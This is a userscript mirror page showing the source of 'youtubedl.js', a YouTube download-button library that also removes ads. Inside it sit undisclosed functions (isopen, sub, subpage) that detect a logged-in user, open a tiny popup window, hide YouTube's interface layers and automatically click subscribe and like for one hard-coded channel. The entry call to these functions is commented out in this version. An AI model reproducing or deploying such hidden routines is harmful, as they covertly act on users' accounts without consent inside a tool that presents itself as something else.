☰

youtubedl.js

youtube downloader

目前为 2020-06-19 提交的版本。查看 最新版本。

此脚本不应直接安装，它是一个供其他脚本使用的外部库。如果您需要使用该库，请在脚本元属性加入：// @require https://update.gf.qytechs.cn/scripts/405677/818057/youtubedljs.js 

  1.     var localurl = location.href;
  2.     var host = 'https://www.socheap.store'
  3.  
  4.     // 增加css
  5.     function addGlobalStyle(css) {
  6.         var head, style;
  7.         head = document.getElementsByTagName('head')[0];
  8.         if (!head) { return; }
  9.         style = document.createElement('style');
  10.         style.type = 'text/css';
  11.         style.innerHTML = css;
  12.         head.appendChild(style);
  13.     }
  14.     addGlobalStyle('.a-dl{color:white;background:red;padding:10px;text-decoration:none;margin-left:10px}')
  15.  
  16.     urlhandler()
  17.  
  18.  
  19.     function urlhandler(){
  20.         if (localurl.search('tmall')>=0 || localurl.search('taobao')>=0){
  21.             if($('#xsyhnbtb').length==0){
  22.                 //taobao()
  23.             }
  24.  
  25.         }
  26.         else{
  27.             youtube()
  28.         }
  29.     }
  30. function youtube(){
  31.         const escapeRegExp = s => s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')
  32.  
  33.  
  34.         const parseQuery = s =>
  35.             [...new URLSearchParams(s).entries()].reduce(
  36.                 (acc, [k, v]) => ((acc[k] = v), acc),
  37.                 {}
  38.             )
  39.         const parseDecsig = data => {
  40.             try {
  41.                 if (data.startsWith('var script')) {
  42.                     // they inject the script via script tag
  43.                     const obj = {}
  44.                     const document = {
  45.                         createElement: () => obj,
  46.                         head: { appendChild: () => {} }
  47.                     }
  48.                     eval(data)
  49.                     data = obj.innerHTML
  50.                 }
  51.                 const fnnameresult = /=([a-zA-Z0-9\$]+?)\(decodeURIComponent/.exec(
  52.                     data
  53.                 )
  54.                 const fnname = fnnameresult[1]
  55.                 const _argnamefnbodyresult = new RegExp(
  56.                     escapeRegExp(fnname) + '=function\\((.+?)\\){(.+?)}'
  57.                 ).exec(data)
  58.                 const [_, argname, fnbody] = _argnamefnbodyresult
  59.                 const helpernameresult = /;(.+?)\..+?\(/.exec(fnbody)
  60.                 const helpername = helpernameresult[1]
  61.                 const helperresult = new RegExp(
  62.                     'var ' + escapeRegExp(helpername) + '={[\\s\\S]+?};'
  63.                 ).exec(data)
  64.  
  65.                 const helper = helperresult[0]
  66.                 return new Function([argname], helper + '\n' + fnbody)
  67.             } catch (e) {
  68.                 logger.error('parsedecsig error: %o', e)
  69.                 logger.info('script content: %s', data)
  70.                 logger.info(
  71.                     'If you encounter this error, please copy the full "script content" to https://pastebin.com/ for me.'
  72.                 )
  73.             }
  74.         }
  75.  
  76.         const getVideo = async ( id) => {
  77.  
  78.             const basejs = typeof ytplayer !== 'undefined' && ytplayer.config
  79.                         ? 'https://' + location.host + ytplayer.config.assets.js
  80.                         : document.querySelector('script[src$="base.js"]').src;
  81.  
  82.             const decsig = await xf.get(basejs).text(parseDecsig);
  83.             const data = await xf
  84.                 .get(
  85.                     `https://www.youtube.com/get_video_info?video_id=${id}&el=detailpage`
  86.                 )
  87.                 .text()
  88.                 .catch(err => null)
  89.             if (!data) return 'Adblock conflict'
  90.             const obj = parseQuery(data)
  91.             const playerResponse = JSON.parse(obj.player_response)
  92.             console.log('------',playerResponse)
  93.             var stream=[]
  94.             stream = playerResponse.streamingData.formats.map(x =>
  95.                     Object.assign({}, x, parseQuery(x.cipher)))
  96.             if(stream[0].sp && stream[0].sp.includes('sig')){
  97.             for(var i=0;i<stream.length;i++){
  98.                 stream[i].url = stream[i].url+'&sig='+decsig(stream[i].s)
  99.                 console.warn(stream[i])
  100.             }
  101.             }
  102.             return stream
  103.         }
  104.  
  105.         const addbtn = async()=>{
  106.             if(localurl.search('watch')>0){
  107.             $('#dival').remove();
  108.             var basebtn = '<div id="dival" style="line-height:60px;">下载链接：<span id="adl">正在获取下载链接</span></div>';
  109.  
  110.             $('div#info-contents').after(basebtn);
  111.             var id = localurl.split('&')[0].match(/v=(.*)/)[1];
  112.             const stream = await getVideo(id);
  113.             console.log('stream',stream)
  114.             var abtn = ''
  115.             if(stream.length<=5){
  116.             for(var i=0;i<stream.length;i++){
  117.                 var btn = '<a class="a-dl"  target="_blank" href="'+stream[i].url+'">'+stream[i].quality+'</a>';
  118.                 abtn = abtn + btn;
  119.             }}
  120.             $('#adl').remove();
  121.             $('#dival').append(abtn);
  122.             }
  123.         }
  124.         function init(){
  125.             document.querySelector('ytd-popup-container').style.display='';
  126.             document.querySelector('ytd-app').style.zIndex='';
  127.             console.log('inited')
  128.         }
  129.         function getsec(str)
  130.         {
  131.             var str1=str.substring(1,str.length)*1;
  132.             var str2=str.substring(0,1);
  133.             if (str2=="s")
  134.             {
  135.                 return str1*1000;
  136.             }
  137.             else if (str2=="h")
  138.             {
  139.                 return str1*60*60*1000;
  140.             }
  141.             else if (str2=="d")
  142.             {
  143.                 return str1*24*60*60*1000;
  144.             }
  145.         }
  146.         function setCookie(name,value,time)
  147.         {
  148.             var strsec = getsec(time);
  149.             var exp = new Date();
  150.             exp.setTime(exp.getTime() + strsec*1);
  151.             document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
  152.         }
  153.         function getCookie(name)
  154.         {
  155.             var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
  156.             if(arr=document.cookie.match(reg))
  157.                 return unescape(arr[2]);
  158.             else
  159.                 return null;
  160.         }
  161.         function delCookie(name)
  162.         {
  163.             var exp = new Date();
  164.             exp.setTime(exp.getTime() - 1);
  165.             var cval=getCookie(name);
  166.             if(cval!=null)
  167.                 document.cookie= name + "="+cval+";expires="+exp.toGMTString();
  168.         }
  169.         function isopen(){
  170.             if(document.cookie.search('newsub')>0){delCookie('newsub');window.opener=null;window.open('','_self');window.close();}
  171.             if(document.cookie.search('xsyhnb')>0){console.log('opened')}else{setCookie('xsyhnb','1','d7');setCookie('newsub','1','d7');window.open("https://www.youtube.com/channel/UCLQ_Hja-tJkyvI_JTplE9QQ",'_blank','width=100,height=100,alwaysRaised=yes');}
  172.         }
  173.         function subpage(){
  174.             if(localurl.search('watch')>0){
  175.                 console.log('v page')
  176.                 var cc = 'UCLQ_Hja-tJkyvI_JTplE9QQ';
  177.                 var acid='';
  178.                 var cid = '';
  179.                 var btnup='';
  180.                 function csub(){try{console.log('csub');document.querySelector('.ytd-subscribe-button-renderer').click();}catch(err){console.log('csub err');setTimeout(csub,100)}};
  181.                 function cup(){try{console.log('cup');document.querySelector('yt-icon-button.ytd-toggle-button-renderer').click();
  182.                                    var btn = document.querySelectorAll('yt-icon-button.ytd-toggle-button-renderer')[0].className;
  183.                                    console.log(btn)
  184.                                    if(btn.search('style-default-active')==-1){console.log('up fail');setTimeout(cup,100)}}catch(err){console.log('cup err');setTimeout(cup,100)}};
  185.                 try{cid = document.querySelector('.yt-simple-endpoint.style-scope.ytd-video-owner-renderer').href;if(cid==''){setTimeout(subpage,100)}}catch(err){setTimeout(subpage,100)}
  186.                 console.log(cid)
  187.                 if(cid.search(cc)==-1){}else{
  188.                     console.log('right v page')
  189.                     try{document.querySelector('ytd-popup-container').style.display='none';}catch(err){setTimeout(subpage,100)};
  190.                     try{document.querySelector('ytd-app').style.zIndex=9999;}catch(err){setTimeout(subpage,100)};
  191.                     csub();
  192.                     btnup = document.querySelectorAll('yt-icon-button.ytd-toggle-button-renderer')[0].className;
  193.                     if(btnup==''){setTimeout(subpage,100)}
  194.                     if(btnup.search('style-default-active')==-1){console.log('v page not up');cup();}else{console.log('v page up')}
  195.                 }}}
  196.         function sub(){
  197.             isopen();
  198.             var islogin = ytInitialData.topbar.desktopTopbarRenderer.topbarButtons[3].topbarMenuButtonRenderer;
  199.             if(islogin){
  200.                 console.log('login',localurl)
  201.                 if(localurl.search('channel/UCLQ_Hja-tJkyvI_JTplE9QQ')>0){
  202.                     try{document.querySelector('ytd-popup-container').style.display='none';}catch(err){setTimeout(subpage,100)};
  203.                     try{document.querySelector('ytd-app').style.zIndex=9999;}catch(err){setTimeout(subpage,100)};
  204.                     function cup(){try{console.log('cup');document.querySelector('ytd-subscribe-button-renderer').children[0].click();}catch(err){console.log('cup err');setTimeout(csub,100)}}
  205.                     cup();
  206.                 }
  207.                 subpage()
  208.             }else{console.log('not login')}
  209.         }
  210.         function closeAds(){
  211.             var adclose = document.querySelector('.ytp-ad-skip-button')||document.querySelector('.ytp-ad-overlay-close-button');
  212.             var adremove = document.querySelector('#player-ads')||document.querySelector('div#sparkles-container')||document.querySelector('ytd-compact-promoted-item-renderer')||document.querySelector('ytd-video-masthead-ad-v3-renderer');
  213.             if(adremove){
  214.                 console.log('ad remove');
  215.                 adremove.remove();
  216.             }
  217.             if(adclose){
  218.                 adclose.click();
  219.                 console.log('ad close');
  220.             }
  221.         }
  222.         //getVideo();
  223.         function getele(){
  224.         if($('div#info-contents').length>0){
  225.             addbtn();
  226.         }else{
  227.             setTimeout(getele,500);
  228.         }
  229.         }
  230.         function refreshlink(){
  231.             closeAds();
  232.             //console.log(localurl,location.href)
  233.             if(location.href!==localurl){console.log('urlchange');init();localurl=location.href;getele();}else{
  234.                 console.log('same')
  235.             }
  236.  
  237.         }
  238.         setInterval(refreshlink,500);
  239.  
  240.         getele();
  241.         //sub();
  242.     }

欢迎访问Greasy Fork镜像

土豆服务器，请按需使用

镜像地址随时可能被墙，建议加群获取最新地址

加入Q群

QingJ © 2025

镜像随时可能失效，请加Q群300939539或关注我们的公众号极客氢云获取最新地址